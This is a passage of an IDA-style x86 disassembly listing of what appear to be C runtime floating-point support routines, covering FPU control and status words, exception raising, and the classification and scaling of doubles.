shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4219EC
test al, bl
jz short loc_4213D2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4213D2: ; CODE XREF: sub_4212CC+FDj
test al, 4
jz short loc_4213DD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4213DD: ; CODE XREF: sub_4212CC+108j
test al, 8
jz short loc_4213E8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4213E8: ; CODE XREF: sub_4212CC+113j
test al, 10h
jz short loc_4213F2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4213F2: ; CODE XREF: sub_4212CC+11Ej
test al, 20h
jz short loc_4213FC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4213FC: ; CODE XREF: sub_4212CC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42143B
cmp eax, 400h
jz short loc_42142D
cmp eax, 800h
jz short loc_421421
cmp eax, ecx
jnz short loc_421441
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421441
; ---------------------------------------------------------------------------
loc_421421: ; CODE XREF: sub_4212CC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421437
; ---------------------------------------------------------------------------
loc_42142D: ; CODE XREF: sub_4212CC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421437: ; CODE XREF: sub_4212CC+15Fj
mov [eax], ecx
jmp short loc_421441
; ---------------------------------------------------------------------------
loc_42143B: ; CODE XREF: sub_4212CC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421441: ; CODE XREF: sub_4212CC+14Bj
; sub_4212CC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42146C
cmp eax, 200h
jz short loc_42145F
cmp eax, ecx
jnz short loc_421479
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421479
; ---------------------------------------------------------------------------
loc_42145F: ; CODE XREF: sub_4212CC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421477
; ---------------------------------------------------------------------------
loc_42146C: ; CODE XREF: sub_4212CC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421477: ; CODE XREF: sub_4212CC+19Ej
mov [eax], ecx
loc_421479: ; CODE XREF: sub_4212CC+189j
; sub_4212CC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4219FA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call ds:dword_42805C ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4214F3
and dword ptr [esi], 0FFFFFFFEh
loc_4214F3: ; CODE XREF: sub_4212CC+222j
test byte ptr [eax+8], 8
jz short loc_4214FC
and dword ptr [esi], 0FFFFFFFBh
loc_4214FC: ; CODE XREF: sub_4212CC+22Bj
test byte ptr [eax+8], 4
jz short loc_421505
and dword ptr [esi], 0FFFFFFF7h
loc_421505: ; CODE XREF: sub_4212CC+234j
test byte ptr [eax+8], 2
jz short loc_42150E
and dword ptr [esi], 0FFFFFFEFh
loc_42150E: ; CODE XREF: sub_4212CC+23Dj
test [eax+8], bl
jz short loc_421516
and dword ptr [esi], 0FFFFFFDFh
loc_421516: ; CODE XREF: sub_4212CC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42154A
dec ecx
jz short loc_42153E
dec ecx
jz short loc_421534
dec ecx
jnz short loc_42154C
or byte ptr [esi+1], 0Ch
jmp short loc_42154C
; ---------------------------------------------------------------------------
loc_421534: ; CODE XREF: sub_4212CC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421546
; ---------------------------------------------------------------------------
loc_42153E: ; CODE XREF: sub_4212CC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421546: ; CODE XREF: sub_4212CC+270j
mov [esi], ecx
jmp short loc_42154C
; ---------------------------------------------------------------------------
loc_42154A: ; CODE XREF: sub_4212CC+257j
and [esi], edx
loc_42154C: ; CODE XREF: sub_4212CC+260j
; sub_4212CC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42156C
dec ecx
jz short loc_421563
dec ecx
jnz short loc_421575
and [esi], edx
jmp short loc_421575
; ---------------------------------------------------------------------------
loc_421563: ; CODE XREF: sub_4212CC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421573
; ---------------------------------------------------------------------------
loc_42156C: ; CODE XREF: sub_4212CC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421573: ; CODE XREF: sub_4212CC+29Ej
mov [esi], ecx
loc_421575: ; CODE XREF: sub_4212CC+291j
; sub_4212CC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4212CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42157F proc near ; CODE XREF: sub_421234+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_4215AA
test byte ptr [ebp+arg_8], bl
jz short loc_4215AA
push ebx
call sub_421A2C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421774
; ---------------------------------------------------------------------------
loc_4215AA: ; CODE XREF: sub_42157F+15j
; sub_42157F+1Aj
test al, 4
jz short loc_4215C4
test byte ptr [ebp+arg_8], 4
jz short loc_4215C4
push 4
call sub_421A2C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421774
; ---------------------------------------------------------------------------
loc_4215C4: ; CODE XREF: sub_42157F+2Dj
; sub_42157F+33j
test al, bl
jz loc_42169E
test byte ptr [ebp+arg_8], 8
jz loc_42169E
push 8
call sub_421A2C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421676
cmp ecx, 400h
jz short loc_42164E
cmp ecx, 800h
jz short loc_421626
cmp ecx, eax
jnz loc_421696
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_428880
fld ds:dbl_43F500
fnstsw ax
sahf
ja short loc_42161E
fchs
loc_42161E: ; CODE XREF: sub_42157F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421694
; ---------------------------------------------------------------------------
loc_421626: ; CODE XREF: sub_42157F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_428880
fnstsw ax
sahf
jbe short loc_42163E
fld ds:dbl_43F4F0
jmp short loc_421646
; ---------------------------------------------------------------------------
loc_42163E: ; CODE XREF: sub_42157F+B5j
fld ds:dbl_43F500
fchs
loc_421646: ; CODE XREF: sub_42157F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421694
; ---------------------------------------------------------------------------
loc_42164E: ; CODE XREF: sub_42157F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_428880
fnstsw ax
sahf
jbe short loc_421666
fld ds:dbl_43F500
jmp short loc_42166E
; ---------------------------------------------------------------------------
loc_421666: ; CODE XREF: sub_42157F+DDj
fld ds:dbl_43F4F0
fchs
loc_42166E: ; CODE XREF: sub_42157F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421694
; ---------------------------------------------------------------------------
loc_421676: ; CODE XREF: sub_42157F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_428880
fld ds:dbl_43F4F0
fnstsw ax
sahf
ja short loc_42168E
fchs
loc_42168E: ; CODE XREF: sub_42157F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421694: ; CODE XREF: sub_42157F+A5j
; sub_42157F+CDj ...
fstp qword ptr [ecx]
loc_421696: ; CODE XREF: sub_42157F+81j
and edi, 0FFFFFFFEh
jmp loc_421774
; ---------------------------------------------------------------------------
loc_42169E: ; CODE XREF: sub_42157F+47j
; sub_42157F+51j
test al, 2
jz loc_421774
test byte ptr [ebp+arg_8], 10h
jz loc_421774
push esi
xor esi, esi
test al, 10h
jz short loc_4216B9
mov esi, ebx
loc_4216B9: ; CODE XREF: sub_42157F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp ds:dbl_428880
fnstsw ax
sahf
jz loc_421762
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42192B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421704
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421758
; ---------------------------------------------------------------------------
loc_421704: ; CODE XREF: sub_42157F+17Aj
fld [ebp+var_C]
fcomp ds:dbl_428880
fnstsw ax
sahf
jnb short loc_421716
mov edx, ebx
jmp short loc_421718
; ---------------------------------------------------------------------------
loc_421716: ; CODE XREF: sub_42157F+191j
xor edx, edx
loc_421718: ; CODE XREF: sub_42157F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_42174C
sub eax, ecx
loc_42172F: ; CODE XREF: sub_42157F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42173A
test esi, esi
jnz short loc_42173A
mov esi, ebx
loc_42173A: ; CODE XREF: sub_42157F+1B3j
; sub_42157F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421746
or byte ptr [ebp+var_C+3], 80h
loc_421746: ; CODE XREF: sub_42157F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_42172F
loc_42174C: ; CODE XREF: sub_42157F+1ACj
test edx, edx
jz short loc_421758
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421758: ; CODE XREF: sub_42157F+183j
; sub_42157F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421764
; ---------------------------------------------------------------------------
loc_421762: ; CODE XREF: sub_42157F+14Ej
mov esi, ebx
loc_421764: ; CODE XREF: sub_42157F+1E1j
test esi, esi
pop esi
jz short loc_421771
push 10h
call sub_421A2C
pop ecx
loc_421771: ; CODE XREF: sub_42157F+1E8j
and edi, 0FFFFFFFDh
loc_421774: ; CODE XREF: sub_42157F+26j
; sub_42157F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_42178B
test byte ptr [ebp+arg_8], 20h
jz short loc_42178B
push 20h
call sub_421A2C
pop ecx
and edi, 0FFFFFFEFh
loc_42178B: ; CODE XREF: sub_42157F+1F9j
; sub_42157F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42157F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421796(int,int,int,int,int,int,double,int)
sub_421796 proc near ; CODE XREF: sub_4211E1+2Bp
; sub_421234+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421844
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421801
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_421A09
lea eax, [ebp+var_20]
push eax
call sub_42426D
add esp, 0Ch
test eax, eax
jnz short loc_4217FB
push esi
call sub_42181E
pop ecx
loc_4217FB: ; CODE XREF: sub_421796+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421801: ; CODE XREF: sub_421796+14j
push 0FFFFh
push [ebp+arg_20]
call sub_421A09
push [ebp+arg_0]
call sub_42181E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421796 endp
; =============== S U B R O U T I N E =======================================
sub_42181E proc near ; CODE XREF: sub_421234+7Dp
; sub_421796+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421839
jle short locret_421843
cmp eax, 3
jg short locret_421843
mov ds:dword_4DDEB4, 22h
retn
; ---------------------------------------------------------------------------
loc_421839: ; CODE XREF: sub_42181E+7j
mov ds:dword_4DDEB4, 21h
locret_421843: ; CODE XREF: sub_42181E+9j
; sub_42181E+Ej
retn
sub_42181E endp
; =============== S U B R O U T I N E =======================================
sub_421844 proc near ; CODE XREF: sub_421796+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43F418
loc_42184B: ; CODE XREF: sub_421844+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421861
add eax, 8
inc ecx
cmp eax, offset dbl_43F4F0
jl short loc_42184B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421861: ; CODE XREF: sub_421844+Dj
mov eax, ds:off_43F41C[ecx*8]
retn
sub_421844 endp
; =============== S U B R O U T I N E =======================================
sub_421869 proc near ; CODE XREF: sub_421234+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421875
push 5
jmp short loc_42188B
; ---------------------------------------------------------------------------
loc_421875: ; CODE XREF: sub_421869+6j
test al, 8
jz short loc_42187D
push 1
jmp short loc_42188B
; ---------------------------------------------------------------------------
loc_42187D: ; CODE XREF: sub_421869+Ej
test al, 4
jz short loc_421885
push 2
jmp short loc_42188B
; ---------------------------------------------------------------------------
loc_421885: ; CODE XREF: sub_421869+16j
test al, 1
jz short loc_42188D
push 3
loc_42188B: ; CODE XREF: sub_421869+Aj
; sub_421869+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_42188D: ; CODE XREF: sub_421869+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421869 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421896(double)
sub_421896 proc near ; CODE XREF: sub_41C869:loc_41C8EFp
; sub_41C9AF:loc_41CA35p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421896 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4218A8(double,int)
sub_4218A8 proc near ; CODE XREF: sub_42192B+82p
; sub_42192B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_4218A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4218D1 proc near ; CODE XREF: sub_41C869+31p
; sub_41C9AF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4218E8
cmp [ebp+arg_0], edx
jnz short loc_4218FA
push 1
jmp short loc_421924
; ---------------------------------------------------------------------------
loc_4218E8: ; CODE XREF: sub_4218D1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4218FA
cmp [ebp+arg_0], edx
jnz short loc_4218FA
push 2
jmp short loc_421924
; ---------------------------------------------------------------------------
loc_4218FA: ; CODE XREF: sub_4218D1+11j
; sub_4218D1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_42190D
push 3
jmp short loc_421924
; ---------------------------------------------------------------------------
loc_42190D: ; CODE XREF: sub_4218D1+36j
cmp cx, 7FF0h
jnz short loc_421927
test [ebp+arg_4], 7FFFFh
jnz short loc_421922
cmp [ebp+arg_0], edx
jz short loc_421927
loc_421922: ; CODE XREF: sub_4218D1+4Aj
push 4
loc_421924: ; CODE XREF: sub_4218D1+15j
; sub_4218D1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421927: ; CODE XREF: sub_4218D1+41j
; sub_4218D1+4Fj
xor eax, eax
pop ebp
retn
sub_4218D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42192B(double,int)
sub_42192B proc near ; CODE XREF: sub_42157F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp ds:dbl_428880
push esi
fnstsw ax
sahf
jnz short loc_42194B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4219E1
; ---------------------------------------------------------------------------
loc_42194B: ; CODE XREF: sub_42192B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_4219BA
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421963
cmp dword ptr [ebp+arg_0], ecx
jz short loc_4219BA
loc_421963: ; CODE XREF: sub_42192B+31j
fld [ebp+arg_0]
fcomp ds:dbl_428880
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_42197B
push 1
pop eax
jmp short loc_42197D
; ---------------------------------------------------------------------------
loc_42197B: ; CODE XREF: sub_42192B+49j
xor eax, eax
loc_42197D: ; CODE XREF: sub_42192B+4Ej
; sub_42192B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421996
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421990
or dword ptr [ebp+arg_0+4], 1
loc_421990: ; CODE XREF: sub_42192B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_42197D
; ---------------------------------------------------------------------------
loc_421996: ; CODE XREF: sub_42192B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_4219A4
or byte ptr [ebp+arg_0+7], 80h
loc_4219A4: ; CODE XREF: sub_42192B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4218A8
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4219E1
; ---------------------------------------------------------------------------
loc_4219BA: ; CODE XREF: sub_42192B+28j
; sub_42192B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4218A8
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4219E1: ; CODE XREF: sub_42192B+1Bj
; sub_42192B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_42192B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219EC proc near ; CODE XREF: sub_4212CC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4219EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219FA proc near ; CODE XREF: sub_4212CC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4219FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421A09 proc near ; CODE XREF: sub_41C869+13p
; sub_41C869+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_421A09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421A2C proc near ; CODE XREF: sub_42157F+1Dp
; sub_42157F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421A43
fld ds:tbyte_43F518
fistp [ebp+arg_0]
wait
loc_421A43: ; CODE XREF: sub_421A2C+Bj
test cl, 8
jz short loc_421A58
fstsw ax
fld ds:tbyte_43F518
fstp [ebp+var_8]
wait
fstsw ax
loc_421A58: ; CODE XREF: sub_421A2C+1Aj
test cl, 10h
jz short loc_421A67
fld ds:tbyte_43F524
fstp [ebp+var_8]
wait
loc_421A67: ; CODE XREF: sub_421A2C+2Fj
test cl, 4
jz short loc_421A75
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421A75: ; CODE XREF: sub_421A2C+3Ej
test cl, 20h
jz short locret_421A80
fldpi
fstp [ebp+var_8]
wait
locret_421A80: ; CODE XREF: sub_421A2C+4Cj
leave
retn
sub_421A2C endp
; =============== S U B R O U T I N E =======================================
sub_421A82 proc near ; CODE XREF: sub_41C938+Fp
push 30000h
push 10000h
call sub_4242A5
pop ecx
pop ecx
retn
sub_421A82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421A94 proc near ; CODE XREF: sub_421AD2:loc_421AF6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld ds:dbl_428890
fstp [ebp+var_8]
fld ds:dbl_428888
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp ds:dbl_428718
fnstsw ax
sahf
jbe short loc_421ACE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_421ACE: ; CODE XREF: sub_421A94+33j
xor eax, eax
leave
retn
sub_421A94 endp
; =============== S U B R O U T I N E =======================================
sub_421AD2 proc near ; CODE XREF: sub_41C938+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 0C90004h
xchg eax, ebp
test eax, eax
jz short loc_421AF6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call ds:dword_4280BC
test eax, eax
jz short loc_421AF6
push 0
call eax ; sub_41C938
retn
; ---------------------------------------------------------------------------
loc_421AF6: ; CODE XREF: sub_421AD2+Dj
; sub_421AD2+1Dj
jmp sub_421A94
sub_421AD2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421AFB proc near ; CODE XREF: sub_41F8BF+3CBp
; DATA XREF: sub_41C950+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41D96C
cmp eax, 65h
pop ecx
jz short loc_421B3B
loc_421B0F: ; CODE XREF: sub_421AFB+3Ej
inc esi
cmp ds:dword_43F194, 1
jle short loc_421B28
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F735
pop ecx
pop ecx
jmp short loc_421B37
; ---------------------------------------------------------------------------
loc_421B28: ; CODE XREF: sub_421AFB+1Cj
movsx eax, byte ptr [esi]
mov ecx, ds:off_43EF88
mov al, [ecx+eax*2]
and eax, 4
loc_421B37: ; CODE XREF: sub_421AFB+2Bj
test eax, eax
jnz short loc_421B0F
loc_421B3B: ; CODE XREF: sub_421AFB+12j
mov cl, ds:byte_43F198
mov al, [esi]
mov [esi], cl
inc esi
loc_421B46: ; CODE XREF: sub_421AFB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421B46
pop esi
retn
sub_421AFB endp
; =============== S U B R O U T I N E =======================================
sub_421B55 proc near ; CODE XREF: sub_41F8BF+3E2p
; DATA XREF: sub_41C950+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, ds:byte_43F198
mov cl, [eax]
test cl, cl
jz short loc_421B71
loc_421B65: ; CODE XREF: sub_421B55+1Aj
cmp cl, dl
jz short loc_421B71
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421B65
loc_421B71: ; CODE XREF: sub_421B55+Ej
; sub_421B55+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_421BA2
loc_421B78: ; CODE XREF: sub_421B55+34j
mov cl, [eax]
test cl, cl
jz short loc_421B8B
cmp cl, 65h
jz short loc_421B8B
cmp cl, 45h
jz short loc_421B8B
inc eax
jmp short loc_421B78
; ---------------------------------------------------------------------------
loc_421B8B: ; CODE XREF: sub_421B55+27j
; sub_421B55+2Cj ...
mov ecx, eax
loc_421B8D: ; CODE XREF: sub_421B55+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_421B8D
cmp [eax], dl
jnz short loc_421B98
dec eax
loc_421B98: ; CODE XREF: sub_421B55+40j
; sub_421B55+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_421B98
locret_421BA2: ; CODE XREF: sub_421B55+21j
retn
sub_421B55 endp
; =============== S U B R O U T I N E =======================================
sub_421BA3 proc near ; DATA XREF: sub_41C950+28o
; seg002:off_43F540o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp ds:dbl_428880
fnstsw ax
sahf
jb short loc_421BB8
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_421BB8: ; CODE XREF: sub_421BA3+Fj
xor eax, eax
retn
sub_421BA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BBB proc near ; CODE XREF: sub_420730+430p
; DATA XREF: sub_41C950+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_421BE4
lea eax, [ebp+var_8]
push eax
call sub_424768
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_421BE4: ; CODE XREF: sub_421BBB+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424795
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_421BBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BF9 proc near ; CODE XREF: sub_421E76+17p
; sub_421EC0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:byte_4DDF50, 0
push ebx
push esi
jz short loc_421C2E
